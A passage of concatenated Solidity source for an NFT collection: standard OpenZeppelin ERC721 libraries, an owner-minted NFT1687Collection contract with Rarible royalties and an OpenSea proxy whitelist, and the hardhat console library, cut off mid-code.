{IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: AGPL-3.0 pragma solidity 0.8.3; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "hardhat/console.sol"; import "./opensea/ProxyRegistry.sol"; import "./rarible/IRoyalties.sol"; import "./rarible/LibPart.sol"; import "./rarible/LibRoyaltiesV2.sol"; contract NFT1687Collection is ERC721Enumerable, Ownable, ReentrancyGuard, AccessControl, IRoyalties { using SafeMath for uint256; using Address for address; using Address for address payable; bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); uint256 public MAX_TOTAL_MINT; string private _contractURI; string private _placeholderURI; string private _baseTokenURI; address private _raribleRoyaltyAddress; address private _openSeaProxyRegistryAddress; uint256 private _currentTokenId = 0; constructor( string memory name, string memory symbol, uint256 maxTotalMint, string memory contractURIStr, string memory placeholderURI, address raribleRoyaltyAddress, address openSeaProxyRegistryAddress ) ERC721(name, symbol) { MAX_TOTAL_MINT = maxTotalMint; _contractURI = contractURIStr; _placeholderURI = placeholderURI; _raribleRoyaltyAddress = raribleRoyaltyAddress; _openSeaProxyRegistryAddress = openSeaProxyRegistryAddress; _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); } // ADMIN function setBaseURI(string memory baseURI) external onlyOwner { _baseTokenURI = baseURI; } function setContractURI(string memory uri) external onlyOwner { _contractURI = uri; } function setRaribleRoyaltyAddress(address addr) external onlyOwner { _raribleRoyaltyAddress = addr; } function setOpenSeaProxyRegistryAddress(address addr) external onlyOwner { _openSeaProxyRegistryAddress = addr; } function withdraw() external onlyOwner { uint256 balance = address(this).balance; payable(msg.sender).transfer(balance); } // PUBLIC function contractURI() public view returns (string memory) { return _contractURI; } function tokenURI(uint256 _tokenId) override public view returns (string memory) { return string(abi.encodePacked(_baseTokenURI, Strings.toString(_tokenId))); } function getRaribleV2Royalties(uint256 id) override external view returns (LibPart.Part[] memory result) { result = new LibPart.Part[](1); result[0].account = payable(_raribleRoyaltyAddress); result[0].value = 10000; // 100% of royalty goes to defined address above. id; // avoid unused param warning } function getInfo() external view returns ( uint256 totalSupply, uint256 senderBalance, uint256 maxTotalMint ) { return ( this.totalSupply(), this.balanceOf(msg.sender), MAX_TOTAL_MINT ); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Enumerable, AccessControl) returns (bool) { if(interfaceId == LibRoyaltiesV2._INTERFACE_ID_ROYALTIES) { return true; } return super.supportsInterface(interfaceId); } /** * Override isApprovedForAll to whitelist user's OpenSea proxy accounts to enable gas-less listings. */ function isApprovedForAll(address owner, address operator) override public view returns (bool) { // Whitelist OpenSea proxy contract for easy trading. ProxyRegistry proxyRegistry = ProxyRegistry(_openSeaProxyRegistryAddress); if (address(proxyRegistry.proxies(owner)) == operator) { return true; } return super.isApprovedForAll(owner, operator); } function mint(address to, uint256 count) external onlyOwner { // Make sure minting is allowed requireMintingConditions(count); for (uint256 i = 0; i < count; i++) { uint256 newTokenId = _getNextTokenId(); _safeMint(to, newTokenId); _incrementTokenId(); } } function transferFromBulk( address from, address to, uint256[] memory tokenIds ) public virtual { for (uint256 i = 0; i < tokenIds.length; i++) { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenIds[i]), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenIds[i]); } } // PRIVATE function requireMintingConditions( uint256 count) internal view { // Total minted tokens must not exceed maximum supply require(totalSupply() + count <= MAX_TOTAL_MINT, "BASE_COLLECTION/EXCEEDS_MAX_SUPPLY"); } /** * Calculates the next token ID based on value of _currentTokenId * @return uint256 for the next token ID */ function _getNextTokenId() private view returns (uint256) { return _currentTokenId.add(1); } /** * Increments the value of _currentTokenId */ function _incrementTokenId() private { _currentTokenId++; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; contract OwnableDelegateProxy {} contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; pragma abicoder v2; import "./LibPart.sol"; interface IRoyalties { function getRaribleV2Royalties(uint256 id) external view returns (LibPart.Part[] memory); } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; library LibPart { bytes32 public constant TYPE_HASH = keccak256("Part(address account,uint96 value)"); struct Part { address payable account; uint96 value; } function hash(Part memory part) internal pure returns (bytes32) { return keccak256(abi.encode(TYPE_HASH, part.account, part.value)); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; library LibRoyaltiesV2 { /* * bytes4(keccak256('getRaribleV2Royalties(uint256)')) == 0xcad96cca */ bytes4 constant _INTERFACE_ID_ROYALTIES = 0xcad96cca; } // SPDX-License-Identifier: MIT pragma solidity >= 0.4.22 <0.9.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { 